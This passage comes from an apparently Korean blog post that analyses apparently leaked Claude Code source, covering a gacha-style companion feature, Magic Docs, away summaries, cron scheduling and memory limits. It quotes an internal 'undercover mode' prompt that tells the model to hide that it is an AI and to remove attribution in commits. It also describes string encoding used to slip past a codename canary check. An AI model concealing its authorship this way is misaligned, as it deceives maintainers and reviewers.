    &lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;imul&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;61&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt;
    &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;4294967296&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;게임 개발자로서 이 코드를 보면 바로 알 수 있다. 가벼운 시드 기반 랜덤이다. Mulberry32는 게임 업계에서 맵 생성이나 아이템 드롭 테이블에 흔히 쓰는 PRNG다. 여기서도 정확히 같은 용도로 쓰인다.&lt;/p&gt;

&lt;p&gt;종족은 18종이다. duck, goose, blob, cat, dragon, octopus, owl, penguin, turtle, snail, ghost, axolotl, capybara, cactus, robot, rabbit, mushroom, chonk. 소스코드에서 종족 이름이 직접 문자열로 안 들어가고 &lt;code&gt;String.fromCharCode&lt;/code&gt;로 인코딩되어 있다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;duck&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;c&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x75&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x63&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x6b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;duck&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;capybara&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;c&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x63&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x61&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x70&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x79&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x62&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x61&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x72&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x61&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;capybara&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;왜 이렇게 했을까. 주석에 힌트가 있다. "One species name collides with a model-codename canary in excluded-strings.txt." 내부 빌드 파이프라인에서 모델 코드네임이 번들에 들어가는 걸 감지하는 시스템이 있는데, 종족 이름 중 하나가 그 코드네임과 겹친다. 문자열을 직접 쓰면 빌드 체크에 걸리니까 charCode로 우회한 것이다.&lt;/p&gt;

&lt;p&gt;레어리티 시스템은 가챠 게임 그대로다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;RARITY_WEIGHTS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;common&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;uncommon&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;rare&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;epic&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;legendary&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;common 60%, uncommon 25%, rare 10%, epic 4%, legendary 1%. shiny 확률은 1%다. 모바일 가챠 게임의 확률 테이블과 구조가 같다.&lt;/p&gt;

&lt;p&gt;각 캐릭터에는 스탯이 있다. DEBUGGING, PATIENCE, CHAOS, WISDOM, SNARK 5종. 레어리티에 따라 스탯 하한선이 올라간다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;RARITY_FLOOR&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Record&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Rarity&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;common&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;uncommon&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;rare&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;epic&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;35&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;legendary&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;peak stat과 dump stat이 있다. 하나는 높고 하나는 낮다. RPG 캐릭터 생성 그대로다.&lt;/p&gt;

&lt;p&gt;눈 모양도 6종(&lt;code&gt;·&lt;/code&gt;, &lt;code&gt;✦&lt;/code&gt;, &lt;code&gt;×&lt;/code&gt;, &lt;code&gt;◉&lt;/code&gt;, &lt;code&gt;@&lt;/code&gt;, &lt;code&gt;°&lt;/code&gt;), 모자도 8종(none, crown, tophat, propeller, halo, wizard, beanie, tinyduck). common은 모자가 없고, uncommon 이상부터 모자가 나온다. &lt;code&gt;tinyduck&lt;/code&gt; 모자는 오리 위에 작은 오리가 앉아있는 거다.&lt;/p&gt;

&lt;p&gt;캐릭터의 "bones"(외형)는 userId 해시에서 결정론적으로 만들어지고, "soul"(이름, 성격)은 모델이 생성한다. bones는 저장하지 않고 매번 다시 계산한다. soul만 config에 저장한다. 왜냐하면 bones를 저장하면 유저가 config 파일을 편집해서 legendary를 조작할 수 있기 때문이다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// bones last so stale bones fields in old-format configs get overridden&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;stored&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;bones&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Config에 bones 필드가 남아 있어도 새로 계산한 bones가 덮어쓴다. 치트 방지. 게임 개발자의 본능이다.&lt;/p&gt;

&lt;p&gt;salt 값은 &lt;code&gt;'friend-2026-401'&lt;/code&gt;이다. 2026년 4월 1일. 만우절에 출시할 계획이었던 걸까.&lt;/p&gt;

&lt;h2&gt;
  
  
  Magic Docs — 파일을 읽기만 해도 자동 업데이트된다
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;src/services/MagicDocs/&lt;/code&gt; 디렉토리. 이건 진짜 마법 같다.&lt;/p&gt;

&lt;p&gt;마크다운 파일 첫 줄에 &lt;code&gt;# MAGIC DOC: [제목]&lt;/code&gt;을 쓰면, Claude Code가 그 파일을 &lt;strong&gt;자동으로 업데이트&lt;/strong&gt;한다. 대화 중에 새로운 정보가 생기면, 포크된 서브에이전트가 백그라운드에서 문서를 갱신한다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Magic Doc header pattern: # MAGIC DOC: [title]&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;MAGIC_DOC_HEADER_PATTERN&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sr"&gt;/^#&lt;/span&gt;&lt;span class="se"&gt;\s&lt;/span&gt;&lt;span class="sr"&gt;*MAGIC&lt;/span&gt;&lt;span class="se"&gt;\s&lt;/span&gt;&lt;span class="sr"&gt;+DOC:&lt;/span&gt;&lt;span class="se"&gt;\s&lt;/span&gt;&lt;span class="sr"&gt;*&lt;/span&gt;&lt;span class="se"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;.+&lt;/span&gt;&lt;span class="se"&gt;)&lt;/span&gt;&lt;span class="sr"&gt;$/im&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;FileReadTool에 리스너가 등록되어 있어서, 파일을 읽을 때마다 Magic Doc 헤더가 있는지 감지한다. 헤더 다음 줄에 이탤릭으로 지시사항을 쓸 수 있다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="gh"&gt;# MAGIC DOC: API Reference&lt;/span&gt;
&lt;span class="ge"&gt;_Focus on endpoint changes and breaking modifications_&lt;/span&gt;

&lt;span class="gu"&gt;## Current Endpoints&lt;/span&gt;
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;_Focus on endpoint changes..._&lt;/code&gt; 부분이 업데이트 지시사항이다. 이걸로 "이 문서를 어떤 관점에서 업데이트할지"를 제어한다.&lt;/p&gt;

&lt;p&gt;업데이트는 &lt;code&gt;postSamplingHook&lt;/code&gt;으로 트리거된다. 모델 응답이 생성된 후, 마지막 어시스턴트 턴에 도구 호출이 있었으면 문서 업데이트를 시도한다. &lt;code&gt;sequential()&lt;/code&gt; 래퍼로 동시 업데이트를 막는다.&lt;/p&gt;

&lt;p&gt;이걸 활용하면 프로젝트의 아키텍처 문서, API 레퍼런스, TODO 리스트 같은 것들이 코딩 작업 중에 자동으로 최신화된다.&lt;/p&gt;

&lt;h2&gt;
  
  
  Away Summary — 자리를 비웠다 돌아오면 요약해준다
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;src/services/awaySummary.ts&lt;/code&gt;. 사용자가 잠시 자리를 비웠다 돌아오면 "무엇을 하고 있었고, 다음 단계가 뭔지"를 1~3문장으로 요약해준다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;buildAwaySummaryPrompt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;memory&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;memoryBlock&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;The user stepped away and is coming back.
Write exactly 1-3 short sentences. Start by stating the high-level task
— what they are building or debugging, not implementation details.
Next: the concrete next step. Skip status reports and commit recaps.`&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;최근 30개 메시지만 잘라서 작은 모델(&lt;code&gt;getSmallFastModel()&lt;/code&gt;)에게 요약을 시킨다. 전체 대화를 다 보내지 않는다. 비용 효율적이다.&lt;/p&gt;

&lt;p&gt;세션 메모리가 있으면 같이 넣어서 더 넓은 맥락을 준다. "구현 디테일이 아니라 하이레벨 태스크를 먼저 말해라"라는 프롬프트가 정확하다. 돌아온 사람은 "어떤 함수를 수정했다"보다 "인증 모듈 버그를 고치고 있었다"가 훨씬 유용하다.&lt;/p&gt;

&lt;h2&gt;
  
  
  Undercover Mode — Anthropic 직원의 위장 모드
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;src/utils/undercover.ts&lt;/code&gt;. 이건 순수하게 Anthropic 내부용이다. &lt;code&gt;USER_TYPE === 'ant'&lt;/code&gt;인 빌드에서만 동작한다.&lt;/p&gt;

&lt;p&gt;Anthropic 직원이 오픈소스 레포에 기여할 때, 커밋 메시지나 PR 설명에서 내부 정보가 새나가지 않도록 하는 시스템이다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;isUndercover&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="nx"&gt;boolean&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;USER_TYPE&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;ant&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;isEnvTruthy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;CLAUDE_CODE_UNDERCOVER&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;getRepoClassCached&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;internal&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;기본값이 &lt;strong&gt;ON&lt;/strong&gt;이다. 명시적으로 내부 레포라고 확인된 경우에만 꺼진다. 안전한 방향의 기본값.&lt;/p&gt;

&lt;p&gt;위장 모드가 켜지면 시스템 프롬프트에 엄격한 규칙이 추가된다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NEVER include in commit messages or PR descriptions:
- Internal model codenames (animal names like Capybara, Tengu, etc.)
- Unreleased model version numbers (e.g., opus-4-7, sonnet-4-8)
- Internal repo or project names
- The phrase "Claude Code" or any mention that you are an AI
- Co-Authored-By lines or any other attribution
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;모델 코드네임이 동물 이름이라는 게 여기서 확인된다. Capybara, Tengu 같은 이름들. "claude-opus-4-6"이 아니라 동물 이름 코드네임이 따로 있다.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Co-Authored-By&lt;/code&gt; 라인도 금지다. GitHub에서 AI 도구를 쓰면 보통 &lt;code&gt;Co-Authored-By: Claude&lt;/code&gt; 같은 라인이 자동으로 붙는데, 위장 모드에서는 이걸 빼야 한다.&lt;/p&gt;

&lt;p&gt;좋은 예시와 나쁜 예시가 프롬프트에 들어있다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GOOD: "Fix race condition in file watcher initialization"
BAD: "Fix bug found while testing with Claude Capybara"
BAD: "1-shotted by claude-opus-4-6"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;"1-shotted by claude-opus-4-6"이 나쁜 예시에 있다는 건, 실제로 이런 커밋 메시지를 쓴 사람이 있었다는 뜻이다.&lt;/p&gt;

&lt;h2&gt;
  
  
  크론 스케줄러 — 코딩 에이전트에 왜 크론이 있나
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;src/tools/ScheduleCronTool/&lt;/code&gt;. 3개의 하위 도구가 있다. &lt;code&gt;CronCreateTool&lt;/code&gt;, &lt;code&gt;CronDeleteTool&lt;/code&gt;, &lt;code&gt;CronListTool&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Claude Code에 크론 스케줄러가 내장되어 있다. &lt;code&gt;/loop&lt;/code&gt; 커맨드로 접근한다. 반복 작업을 스케줄링할 수 있다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;isKairosCronEnabled&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="nx"&gt;boolean&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;feature&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;AGENT_TRIGGERS&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nf"&gt;isEnvTruthy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;CLAUDE_CODE_DISABLE_CRON&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
        &lt;span class="nf"&gt;getFeatureValue_CACHED_WITH_REFRESH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;tengu_kairos_cron&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...)&lt;/span&gt;
    &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;기본값이 &lt;code&gt;true&lt;/code&gt;다. 주석에 "/loop is GA (announced in changelog)"라고 되어 있다. 이미 출시된 기능이다. GrowthBook이 비활성화된 환경(Bedrock, Vertex 등)에서도 동작하도록 기본값을 true로 잡았다.&lt;/p&gt;

&lt;p&gt;"Durable cron"이라는 옵션도 있다. 세션이 끝나도 디스크에 저장되어 유지되는 크론 태스크다. &lt;code&gt;isDurableCronEnabled()&lt;/code&gt;로 별도 게이트된다. 세션-only 크론(메모리에만 있음)과 durable 크론(디스크에 저장)이 분리되어 있다.&lt;/p&gt;

&lt;p&gt;CI/CD 없이도 "매시간 테스트 돌려", "매일 아침 의존성 업데이트 체크해" 같은 반복 작업을 Claude Code에 맡길 수 있다는 뜻이다.&lt;/p&gt;

&lt;h2&gt;
  
  
  세션 메모리 — 컨텍스트를 넘어서 기억한다
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;src/memdir/&lt;/code&gt; 디렉토리. MEMORY.md 기반의 메모리 시스템이다.&lt;/p&gt;

&lt;p&gt;MEMORY.md의 크기 제한이 소스코드에 명시되어 있다. 200줄 또는 25,000바이트. 이걸 넘으면 잘리고 경고가 붙는다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;MAX_ENTRYPOINT_LINES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;MAX_ENTRYPOINT_BYTES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="nx"&gt;_000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;잘릴 때 줄 수 초과인지 바이트 초과인지에 따라 다른 경고 메시지가 나온다. "인덱스 항목을 한 줄 200자 이내로 유지하고, 상세 내용은 토픽 파일로 분리하라"는 안내가 붙는다.&lt;/p&gt;

&lt;p&gt;메모리 디렉토리에 쓸 때 &lt;code&gt;mkdir&lt;/code&gt;을 먼저 하지 말라는 가이드가 시스템 프롬프트에 직접 들어가 있다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;DIR_EXISTS_GUIDANCE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
  &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;This directory already exists — write to it directly with the Write tool
  (do not run mkdir or check for its existence).&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Claude가 &lt;code&gt;mkdir&lt;/code&gt;부터 치느라 턴을 낭비하는 문제가 있었던 거다. 디렉토리를 미리 만들어놓고 "이미 있으니까 바로 써"라고 알려준다. API 호출 한 번이 곧 돈이다.&lt;/p&gt;

&lt;p&gt;Auto Memory라는 기능도 있다. &lt;code&gt;CLAUDE_CODE_DISABLE_AUTO_MEMORY=1&lt;/code&gt;로 끌 수 있는데, 기본은 켜져 있다. 대화 중에 중요한 패턴이나 선호도를 자동으로 메모리에 저장한다. bare 모드(&lt;code&gt;CLAUDE_CODE_SIMPLE&lt;/code&gt;)와 remote 모드에서는 자동으로 비활성화된다.&lt;/p&gt;

&lt;p&gt;팀 메모리(&lt;code&gt;TEAMMEM&lt;/code&gt; feature)도 있다. &lt;code&gt;teamMemorySync/&lt;/code&gt; 디렉토리에 파일 변경 감시, 비밀 스캐닝(&lt;code&gt;secretScanner.ts&lt;/code&gt;), 동기화 로직이 구현되어 있다. 팀원들이 공유하는 메모리인데, 비밀이 실수로 들어가지 않도록 스캐너가 돌아간다.&lt;/p&gt;

&lt;h2&gt;
  
  
  알림 시스템 — 터미널별로 다르다
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;src/services/notifier.ts&lt;/code&gt;. 사용자 설정에 따라 알림 채널이 바뀐다. iTerm2, Kitty, 터미널 벨, 시스템 알림 중에서 선택한다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;switch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;channel&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;iterm2&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nx"&gt;terminal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;notifyITerm2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;opts&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;iterm2&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
